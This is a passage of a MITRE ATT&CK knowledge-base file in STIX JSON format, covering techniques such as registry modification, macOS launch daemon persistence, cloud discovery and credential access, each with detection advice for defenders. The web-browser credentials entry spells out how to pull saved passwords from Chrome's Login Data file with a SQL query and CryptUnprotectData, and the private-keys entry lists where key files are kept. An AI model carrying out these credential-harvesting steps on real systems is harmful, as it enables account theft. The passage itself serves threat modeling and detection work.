            "x_mitre_contributors": [
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                "Alfredo Oliveira, Trend Micro",
                "Idan Frimark, Cisco",
                "Center for Threat-Informed Defense (CTID)",
                "Magno Logan, @magnologan, Trend Micro",
                "Ariel Shuper, Cisco",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team",
                "Joas Antonio dos Santos, @C0d3Cr4zy"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Container: Container Start",
                "Application Log: Application Log Content",
                "Pod: Pod Creation",
                "Container: Container Creation",
                "Pod: Pod Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
            "created": "2017-05-31T21:31:17.915Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1107",
                    "external_id": "T1107"
                },
                {
                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
                }
            ],
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            "modified": "2025-04-25T15:15:34.606Z",
            "name": "File Deletion",
            "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Walker Johnson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1145",
                    "external_id": "T1145"
                },
                {
                    "source_name": "Wikipedia Public Key Crypto",
                    "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Public-key_cryptography"
                },
                {
                    "source_name": "Kaspersky Careto",
                    "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
                    "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf"
                },
                {
                    "source_name": "Palo Alto Prince of Persia",
                    "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
                }
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            "modified": "2025-04-25T15:15:34.784Z",
            "name": "Private Keys",
            "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "created": "2017-05-31T21:31:23.587Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1112",
                    "external_id": "T1112"
                },
                {
                    "source_name": "CISA Russian Gov Critical Infra 2018",
                    "description": "CISA. (2018, March 16). Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved March 24, 2025.",
                    "url": "https://www.cisa.gov/news-events/alerts/2018/03/15/russian-government-cyber-activity-targeting-energy-and-other-critical-infrastructure-sectors"
                },
                {
                    "source_name": "CISA LockBit 2023",
                    "description": "CISA. (2023, March 16). #StopRansomware: LockBit 3.0. Retrieved March 24, 2025.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a"
                },
                {
                    "source_name": "Avaddon Ransomware 2021",
                    "description": "Javier Yuste and Sergio Pastrana. (2021). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved March 24, 2025.",
                    "url": "https://arxiv.org/pdf/2102.04796"
                },
                {
                    "source_name": "Microsoft BlackCat Jun 2022",
                    "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
                },
                {
                    "source_name": "Microsoft Reg",
                    "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx"
                },
                {
                    "source_name": "Microsoft Remote",
                    "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx"
                },
                {
                    "source_name": "Microsoft 4657 APR 2017",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657"
                },
                {
                    "source_name": "SpectorOps Hiding Reg Jul 2017",
                    "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.",
                    "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353"
                },
                {
                    "source_name": "Microsoft Reghide NOV 2006",
                    "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/reghide"
                },
                {
                    "source_name": "Microsoft RegDelNull July 2016",
                    "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.",
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull"
                },
                {
                    "source_name": "TrendMicro POWELIKS AUG 2014",
                    "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/"
                },
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"
                }
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            "modified": "2025-04-15T19:58:33.486Z",
            "name": "Modify Registry",
            "description": "Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.\n\nAccess to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification.(Citation: Microsoft Reg) Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).(Citation: Unit42 BabyShark Feb 2019)(Citation: Avaddon Ransomware 2021)(Citation: Microsoft BlackCat Jun 2022)(Citation: CISA Russian Gov Critical Infra 2018) The Registry may also be modified to [Impair Defenses](https://attack.mitre.org/techniques/T1562), such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.(Citation: CISA LockBit 2023)(Citation: Unit42 BabyShark Feb 2019)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.(Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API.(Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.(Citation: TrendMicro POWELIKS AUG 2014)(Citation: SpectorOps Hiding Reg Jul 2017)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            "x_mitre_contributors": [
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                "Travis Smith, Tripwire",
                "David Lu, Tripwire",
                "Gerardo Santos"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.0",
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                "Process: OS API Execution",
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                "Windows Registry: Windows Registry Key Creation",
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
            "created": "2020-01-17T19:23:15.227Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1543/004",
                    "external_id": "T1543.004"
                },
                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "LaunchDaemon Hijacking",
                    "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.",
                    "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/"
                },
                {
                    "source_name": "WireLurker",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
                },
                {
                    "source_name": "launchd Keywords for plists",
                    "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.",
                    "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
                    "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
                },
                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:33.604Z",
            "name": "Launch Daemon",
            "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)",
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                    "phase_name": "persistence"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the <code>RunAtLoad</code> parameter set to true, ensure the <code>Program</code> parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as <code>Program</code> and <code>ProgramArguments</code> parameters but one must be present.(Citation: launchd Keywords for plists)\n\n",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "File: File Modification",
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                "Command: Command Execution",
                "Service: Service Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
            "created": "2020-08-20T17:51:25.671Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1580",
                    "external_id": "T1580"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                    "url": "https://expel.io/blog/finding-evil-in-aws/"
                },
                {
                    "source_name": "AWS Head Bucket",
                    "description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.",
                    "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html"
                },
                {
                    "source_name": "AWS Get Public Access Block",
                    "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
                    "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html"
                },
                {
                    "source_name": "AWS Describe DB Instances",
                    "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
                    "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html"
                },
                {
                    "source_name": "Amazon Describe Instance",
                    "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
                },
                {
                    "source_name": "Amazon Describe Instances API",
                    "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html"
                },
                {
                    "source_name": "Google Compute Instances",
                    "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                },
                {
                    "source_name": "Microsoft AZ CLI",
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
                },
                {
                    "source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas",
                    "description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.",
                    "url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:02:30.057Z",
            "name": "Cloud Infrastructure Discovery",
            "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Regina Elwell",
                "Praetorian",
                "Isif Ibrahima, Mandiant"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Instance: Instance Enumeration",
                "Cloud Storage: Cloud Storage Enumeration",
                "Volume: Volume Enumeration",
                "Snapshot: Snapshot Enumeration"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "created": "2020-02-12T18:57:36.041Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/003",
                    "external_id": "T1555.003"
                },
                {
                    "source_name": "GitHub Mimikittenz July 2016",
                    "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.",
                    "url": "https://github.com/putterpanda/mimikittenz"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Microsoft CryptUnprotectData April 2018",
                    "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata"
                },
                {
                    "source_name": "Proofpoint Vega Credential Stealer May 2018",
                    "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"
                },
                {
                    "source_name": "FireEye HawkEye Malware July 2017",
                    "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html"
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            "object_marking_refs": [
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            "modified": "2025-04-15T22:12:28.087Z",
            "name": "Credentials from Web Browsers",
            "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
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            "x_mitre_contributors": [
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                "Barry Shteiman, Exabeam",
                "Sylvain Gil, Exabeam",
                "RedHuntLabs, @redhuntlabs"
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            "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Windows"
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                "Command: Command Execution",
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                "File: File Access",
                "Process: OS API Execution"
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2",
            "created": "2020-03-13T17:48:58.999Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/008",
                    "external_id": "T1574.008"
                },
                {
                    "source_name": "Microsoft Environment Property",
                    "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
                },
                {
                    "source_name": "Microsoft WinExec",
                    "description": "Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec"
                },
                {
                    "source_name": "Windows NT Command Shell",
                    "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120"
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            "modified": "2025-04-15T19:58:33.873Z",
            "name": "Path Interception by Search Order Hijacking",
